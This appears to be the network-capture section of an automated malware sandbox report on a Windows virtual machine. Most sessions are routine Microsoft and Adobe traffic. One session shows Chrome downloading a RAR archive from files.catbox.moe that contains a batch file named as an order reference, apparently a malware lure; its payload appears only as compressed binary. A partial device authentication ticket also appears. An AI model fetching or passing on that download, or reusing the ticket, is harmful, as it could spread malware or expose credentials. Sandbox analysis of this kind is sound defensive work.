Oct 4, 2024 04:28:11.260431051 CEST	593	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 02:28:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: User-Agent CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uFP9L10cWcU5M6Va7Udk4seTDlp3nXmpQ7Dsoh8Bish4oFaWaA1aMEMFCflrYWgRvGsbteVJIHuWj%2BEXaZINfJiJgJzxum7Qn5Yzxj2scfG1JdtcDF5u%2FJtpQhpR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd1bc9a8fb94304-EWR Data Raw: 37 0d 0a 66 61 6c 73 65 4f 4b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7falseOK0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49710	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:27:30 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 70 68 75 55 4c 59 4c 4c 56 45 57 68 62 68 31 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 34 35 33 31 36 62 34 38 30 62 35 61 33 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: phuULYLLVEWhbh1d.1Context: 4145316b480b5a39
2024-10-04 02:27:30 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-04 02:27:30 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 70 68 75 55 4c 59 4c 4c 56 45 57 68 62 68 31 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 34 35 33 31 36 62 34 38 30 62 35 61 33 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 38 46 46 4f 62 35 53 74 35 2b 2b 4a 71 76 43 71 5a 4b 63 56 46 34 38 58 55 59 49 69 56 6c 36 6b 72 53 76 44 46 31 76 37 69 47 68 6e 6d 42 72 43 54 48 50 52 71 6a 47 43 4c 34 58 31 51 41 68 43 69 4d 32 44 37 56 59 4c 6a 79 63 49 4e 54 62 51 51 6b 31 6c 75 35 57 67 74 4a 67 54 33 43 47 45 4b 48 43 44 35 35 52 44 4a 47 44 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: phuULYLLVEWhbh1d.2Context: 4145316b480b5a39<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS8FFOb5St5++JqvCqZKcVF48XUYIiVl6krSvDF1v7iGhnmBrCTHPRqjGCL4X1QAhCiM2D7VYLjycINTbQQk1lu5WgtJgT3CGEKHCD55RDJGDh
2024-10-04 02:27:30 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 70 68 75 55 4c 59 4c 4c 56 45 57 68 62 68 31 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 34 35 33 31 36 62 34 38 30 62 35 61 33 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: phuULYLLVEWhbh1d.3Context: 4145316b480b5a39<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-04 02:27:30 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-04 02:27:30 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 34 47 44 5a 36 7a 58 6b 4c 45 6d 45 30 63 53 72 4f 76 4d 38 69 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 4GDZ6zXkLEmE0cSrOvM8iA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49719	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:27:36 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-04 02:27:36 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=224257 Date: Fri, 04 Oct 2024 02:27:36 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49720	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:27:37 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-04 02:27:37 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=224331 Date: Fri, 04 Oct 2024 02:27:37 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-04 02:27:37 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49721	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:27:38 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 52 67 41 69 4f 62 43 6f 6b 30 65 4a 45 6b 4b 73 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 34 32 36 30 65 64 63 63 38 64 63 63 36 33 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: RgAiObCok0eJEkKs.1Context: 64260edcc8dcc635
2024-10-04 02:27:38 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-04 02:27:38 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 52 67 41 69 4f 62 43 6f 6b 30 65 4a 45 6b 4b 73 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 34 32 36 30 65 64 63 63 38 64 63 63 36 33 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 38 46 46 4f 62 35 53 74 35 2b 2b 4a 71 76 43 71 5a 4b 63 56 46 34 38 58 55 59 49 69 56 6c 36 6b 72 53 76 44 46 31 76 37 69 47 68 6e 6d 42 72 43 54 48 50 52 71 6a 47 43 4c 34 58 31 51 41 68 43 69 4d 32 44 37 56 59 4c 6a 79 63 49 4e 54 62 51 51 6b 31 6c 75 35 57 67 74 4a 67 54 33 43 47 45 4b 48 43 44 35 35 52 44 4a 47 44 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: RgAiObCok0eJEkKs.2Context: 64260edcc8dcc635<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS8FFOb5St5++JqvCqZKcVF48XUYIiVl6krSvDF1v7iGhnmBrCTHPRqjGCL4X1QAhCiM2D7VYLjycINTbQQk1lu5WgtJgT3CGEKHCD55RDJGDh
2024-10-04 02:27:38 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 52 67 41 69 4f 62 43 6f 6b 30 65 4a 45 6b 4b 73 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 34 32 36 30 65 64 63 63 38 64 63 63 36 33 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: RgAiObCok0eJEkKs.3Context: 64260edcc8dcc635<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-04 02:27:39 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-04 02:27:39 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 62 56 69 4c 4e 39 36 6f 45 32 6f 52 41 41 37 43 65 75 78 4d 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: sbViLN96oE2oRAA7CeuxMQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49724	23.56.162.185	443	5800	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:27:43 UTC	475	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br If-None-Match: "78-5faa31cce96da" If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
2024-10-04 02:27:43 UTC	198	IN	HTTP/1.1 304 Not Modified Content-Type: text/plain; charset=UTF-8 Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Date: Fri, 04 Oct 2024 02:27:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49725	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:27:43 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wKbOL3wcW9SdmP4&MD=zKHdUXM2 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-04 02:27:43 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: fc4b3438-b20f-4eb4-8bc6-62f9e76831d4 MS-RequestId: 34902ee8-2b33-4f01-bd56-2ee593aeb63c MS-CV: c6CcFG6bCU2wl16p.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 04 Oct 2024 02:27:42 GMT Connection: close Content-Length: 24490
2024-10-04 02:27:43 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-04 02:27:43 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49730	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:27:52 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 5a 74 6c 66 4e 54 35 43 57 30 61 78 76 64 77 67 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 32 31 62 61 38 63 38 65 65 31 37 65 66 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ZtlfNT5CW0axvdwg.1Context: a621ba8c8ee17ef1
2024-10-04 02:27:52 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-04 02:27:52 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 5a 74 6c 66 4e 54 35 43 57 30 61 78 76 64 77 67 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 32 31 62 61 38 63 38 65 65 31 37 65 66 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 38 46 46 4f 62 35 53 74 35 2b 2b 4a 71 76 43 71 5a 4b 63 56 46 34 38 58 55 59 49 69 56 6c 36 6b 72 53 76 44 46 31 76 37 69 47 68 6e 6d 42 72 43 54 48 50 52 71 6a 47 43 4c 34 58 31 51 41 68 43 69 4d 32 44 37 56 59 4c 6a 79 63 49 4e 54 62 51 51 6b 31 6c 75 35 57 67 74 4a 67 54 33 43 47 45 4b 48 43 44 35 35 52 44 4a 47 44 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ZtlfNT5CW0axvdwg.2Context: a621ba8c8ee17ef1<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS8FFOb5St5++JqvCqZKcVF48XUYIiVl6krSvDF1v7iGhnmBrCTHPRqjGCL4X1QAhCiM2D7VYLjycINTbQQk1lu5WgtJgT3CGEKHCD55RDJGDh
2024-10-04 02:27:52 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 5a 74 6c 66 4e 54 35 43 57 30 61 78 76 64 77 67 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 32 31 62 61 38 63 38 65 65 31 37 65 66 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: ZtlfNT5CW0axvdwg.3Context: a621ba8c8ee17ef1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-04 02:27:52 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-04 02:27:52 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 6c 4b 43 77 63 6f 77 49 30 79 34 52 46 4c 49 78 5a 50 31 31 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 0lKCwcowI0y4RFLIxZP11w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49731	108.181.20.39	443	7992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:27:55 UTC	669	OUT	GET /ft6o99.rar HTTP/1.1 Host: files.catbox.moe Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-04 02:27:56 UTC	550	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 02:27:56 GMT Content-Type: application/x-rar-compressed Content-Length: 257 Last-Modified: Tue, 01 Oct 2024 15:47:58 GMT Connection: close ETag: "66fc19ae-101" X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self' https://files.catbox.moe; style-src https://files.catbox.moe 'unsafe-inline'; img-src 'self' data:; font-src 'self'; media-src 'self'; object-src 'self'; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Accept-Ranges: bytes
2024-10-04 02:27:56 UTC	257	IN	Data Raw: 52 61 72 21 1a 07 01 00 33 92 b5 e5 0a 01 05 06 00 05 01 01 80 80 00 d0 3d df 82 35 02 03 0b a8 01 04 d0 01 20 2b d3 e9 49 80 03 00 19 4f 72 64 65 72 2d 36 33 37 32 39 5f 52 65 66 65 72 65 6e 63 65 2e 62 61 74 0a 03 02 b5 33 32 cc 16 14 db 01 c3 3c a5 26 64 53 32 f6 50 45 de 83 e0 f3 43 b6 59 2f 4c ab 5d 2e 96 eb 4b 47 a3 5a 08 96 f2 92 04 19 4e 48 b1 f7 f4 78 23 a1 d8 f8 9f 03 30 cf f3 0e 79 3e 18 66 8c e9 0f be f1 fd 81 7a dc 67 63 8e 7c d9 3a 20 2f 58 35 b2 07 90 31 e2 65 b3 0c 03 b1 99 11 31 f9 0b 09 f0 86 55 a1 13 4b 54 92 a9 25 c4 8f 4a 25 af 4a 67 4a 29 55 13 cd 4d 0a a6 a4 5a 25 50 9d 53 d5 36 a1 fb 92 de f0 b1 8d f6 d0 59 fc 57 c7 6e eb b9 fe 87 a6 f0 c4 96 50 de 1f 0d af 84 3a 8c 0f 70 b8 9e f7 ff 54 17 ec a0 69 91 61 15 24 a0 1d 77 56 51 03 05 Data Ascii: Rar!3=5 +IOrder-63729_Reference.bat32<&dS2PECY/L].KGZNHx#0y>fzgc\|: /X51e1UKT%J%JgJ)UMZ%PS6YWnP:pTia$wVQ

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49749	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:28:13 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 73 43 75 4d 66 48 4d 44 68 30 2b 72 75 33 43 48 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 37 63 31 65 31 62 66 34 39 38 39 61 33 63 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: sCuMfHMDh0+ru3CH.1Context: 67c1e1bf4989a3c2
